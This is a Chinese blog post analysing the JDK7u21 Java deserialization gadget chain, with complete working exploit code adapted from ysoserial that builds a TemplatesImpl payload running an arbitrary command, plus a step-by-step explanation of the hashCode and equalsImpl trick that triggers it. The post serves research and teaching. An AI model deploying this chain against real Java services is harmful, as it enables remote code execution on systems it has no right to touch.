Java 反序列化漏洞始末(2)— JDK

Jdk7u21

jdk7u21 gadget 可以算的上是非常骚的一个反序列化 payload,浑身都是骚点。

相比 Apache commons collections 系列的 payload 分析起来要稍稍烧脑一点。

    public static void main(String[] args) throws Exception {

        TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");

        calc.getOutputProperties();
    }

不管序不序列化的,先让他弹个计算器再说。

1561617491(1).jpg

参考了 gist 和一些大佬的分析文章可以得知,漏洞触发的地方在 TemplatesImpl.getOutputProperties(); 方法。

https://gist.github.com/frohoff/24af7913611f8406eaf3

/src.zip!/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java:380

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

最终是在这里被触发的,所以现在是要让他在反序列化时自动去调用 getOutputProperties() 。

EXP

package jdk;

import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

import javax.xml.transform.Templates;


import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/6/26 17:48
 */

public class Jdk7u21{

    public static Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object

        return set;
    }


    public static void main(String[] args) throws Exception {

        Object calc = getObject("calc");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(calc);//序列化对象
        objectOutputStream.flush();
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();


    }



}


 class Reflections {

    public static void setAccessible(AccessibleObject member) {
        // quiet runtime warnings from JDK9+
        member.setAccessible(true);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }

    public static Object newInstance(String className, Object ... args) throws Exception {
        return getFirstCtor(className).newInstance(args);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    @SuppressWarnings ( {"unchecked"} )
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }

}
class Gadgets {

    static {
        // special case for using TemplatesImpl gadgets with a SecurityManager enabled
        System.setProperty(DESERIALIZE_TRANSLET, "true");

        // for RMI remote loading
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    }

    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

    public static class StubTransletPayload extends AbstractTranslet implements Serializable {

        private static final long serialVersionUID = -5971610431559700674L;


        public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}


        @Override
        public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }

    // required to make TemplatesImpl happy
    public static class Foo implements Serializable {

        private static final long serialVersionUID = 8207363842866235160L;
    }


    public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }


    public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }


    public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[ 0 ] = iface;
        if ( ifaces.length > 0 ) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
    }


    public static Map<String, Object> createMap ( final String key, final Object val ) {
        final Map<String, Object> map = new HashMap<String, Object>();
        map.put(key, val);
        return map;
    }


    public static Object createTemplatesImpl ( final String command ) throws Exception {
        if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
            return createTemplatesImpl(
                    command,
                    Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                    Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                    Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
        }

        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }


    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }


    public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
            IllegalAccessException, InvocationTargetException {
        HashMap s = new HashMap();
        Reflections.setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        Reflections.setAccessible(nodeCons);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }
}

 class ClassFiles {
    public static String classAsFile(final Class<?> clazz) {
        return classAsFile(clazz, true);
    }

    public static String classAsFile(final Class<?> clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }
        if (suffix) {
            str += ".class";
        }
        return str;
    }

    public static byte[] classAsBytes(final Class<?> clazz) {
        try {
            final byte[] buffer = new byte[1024];
            final String file = classAsFile(clazz);
            final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            }
            final ByteArrayOutputStream out = new ByteArrayOutputStream();
            int len;
            while ((len = in.read(buffer)) != -1) {
                out.write(buffer, 0, len);
            }
            return out.toByteArray();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

}

我把 ysoserial 里的 payload 生成代码给提取了出来,看看他是如何构造的 payload。

如何构造的 payload

主要看 createTemplatesImpl 方法。

其中这一段,是使用 javassist 动态的添加的恶意 java 代码,在初始化后执行。

String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";

        clazz.makeClassInitializer().insertAfter(cmd);

并且设定了类名为 ysoserial.Pwner + System.nanoTime()

最后通过反射把类的字节码塞进了 TemplatesImpl 的 _bytecodes 属性里。

至此 payload 生成部分结束。

        String zeroHashCodeStr = "f5a5a608";

这个奇怪的字符串暂且不管是干嘛的,值得关注的是它的 hashCode 为 0。

其实不止这一个字符串 hashCode 为 0。

经过测试,我发现 空字符串和 \u0000 的 hashCode 都为 0。

网上也有一些其他例子,在这里都适用,只要是 hashCode 为 0 就行

参考:https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero

后面除了创建了一个动态代理还有,一个装有键 = f5a5a608 值 = TemplatesImpl恶意对象的 HashMap 和装有 TemplatesImpl

恶意对象和 Templates 动态代理对象的 LinkedHashSet,

至此得出最终被序列化的恶意对象 LinkedHashSet。

复现

public static void main(String[] args) throws Exception {
        Object calc = getObject("calc");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(calc);//序列化对象
        objectOutputStream.flush();
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();

    }

分析

LinkedHashSet 继承自 HashSet,readObject 在父类里。

它会把反序列化回来的对象,添加到 map 里(HashSet 本质上是一个 HashMap)

添加的顺序是,先添加 templates 再添加 proxy。

在第二次添加,也就是添加 proxy 的时候,此时 map 里已经有了一个 templates 。

1561622252(1).jpg

它会和上一个 Entry 的 Key (templates) 进行比较,判断这两个对象是否相等,如果相等则新的替换老的值,然后返回老的值。

    public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

而问题正好就出在了 key.equals(k) 这个地方。

要想执行到这里,必须满足如下条件

e.hash == hash 为真
(k = e.key) == key 为假

e.hash 其实就是 templates 对象经过计算后的 hash 暂且假设为 10086

hash 是当前代理对象的 hash,这里要看一下它是怎么计算代理对象的 hash 的

在 hashMap 计算对象 hash 在当前对象的 hashCode 的基础上做了一些异或运算,所以还是要去调用对象的 hashCode 方法的。

因为此时的 key 是一个 proxy 代理,要调用它的方法先进 invoke 接口。既(sun.reflect.annotation.AnnotationInvocationHandler#invoke)

 else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            }

在 invoke 方法中它判断了如果方法名为 hashCode 就去调用 hashCodeImpl() 方法

private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }

看起来挺恶心,其实简化一下理解就是,遍历 memberValues 这个 map 对象,然后做这样一个运算

v += 127 * (键).hashCode() ^ memberValueHashCode(值);

memberValues 这个对象其实是我在实例化 AnnotationInvocationHandler 对象时传过去的 hashMap。

//         InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }
//.....
}

这个 hashMap 它的键被我设定为了 f5a5a608 值是 templates 对象。

所以它在这里的 hashCode 运算表达式就变成了

0 ^ memberValueHashCode(templates);

等价于

memberValueHashCode(templates);

又等价于

templates.hashCode()


/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/6/27 16:12
 */
public class HashCode {


    public static void main(String[] args) {

        Object expVal = new Object();
        String expKey = "f5a5a608";
        int i = 127 * (expKey).hashCode() ^ memberValueHashCode(expVal);

        System.out.println(i);
        System.out.println(expVal.hashCode());


    }

    private static int memberValueHashCode(Object var0) {
        Class var1 = var0.getClass();
        if (!var1.isArray()) {
            return var0.hashCode();
        } else if (var1 == byte[].class) {
            return Arrays.hashCode((byte[])((byte[])var0));
        } else if (var1 == char[].class) {
            return Arrays.hashCode((char[])((char[])var0));
        } else if (var1 == double[].class) {
            return Arrays.hashCode((double[])((double[])var0));
        } else if (var1 == float[].class) {
            return Arrays.hashCode((float[])((float[])var0));
        } else if (var1 == int[].class) {
            return Arrays.hashCode((int[])((int[])var0));
        } else if (var1 == long[].class) {
            return Arrays.hashCode((long[])((long[])var0));
        } else if (var1 == short[].class) {
            return Arrays.hashCode((short[])((short[])var0));
        } else {
            return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
        }
    }

}

可以拿这个 demo 做个试验,经过测试会发现计算后的 hashCode 和 expVal 对象的 hashCode 是相等的

其实说白了此时的情况就是拿 templates 对象和自身的 hashCode 做比较,结果当然为 true。

第二个条件 (k = e.key) == key 想都不用想,拿 proxy 和 templates 比肯定为 false。

所以程序自然走到了 key.equals(k) 这一步,既 proxy.equals( templates )

那因为调用的是代理对象的方法,自然要再走一遍 invoke 接口。

if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } 

invoke 接口中又会去调用 equalsImpl 方法。

private Boolean equalsImpl(Object var1) {
        if (var1 == this) {
            return true;
        } else if (!this.type.isInstance(var1)) {
            return false;
        } else {
            Method[] var2 = this.getMemberMethods(); // 取出无参方法
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);
                    } catch (InvocationTargetException var11) {
                        return false;
                    } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                    }
                }

                if (!memberValueEquals(var7, var8)) {
                    return false;
                }
            }

            return true;
        }
    }

其中在注释部分取出了 templates 的两个无参方法,并且使用了反射执行。

    Transformer newTransformer() throws TransformerConfigurationException;
    Properties getOutputProperties();

TemplatesImpl 中 getOutputProperties 方法调用过程如下。

# com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
# com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
# com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
# com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses 这一步装载了恶意代码 _bytecodes
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

最终在此处实例化对象并触发了恶意代码

1561627354(1).jpg

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。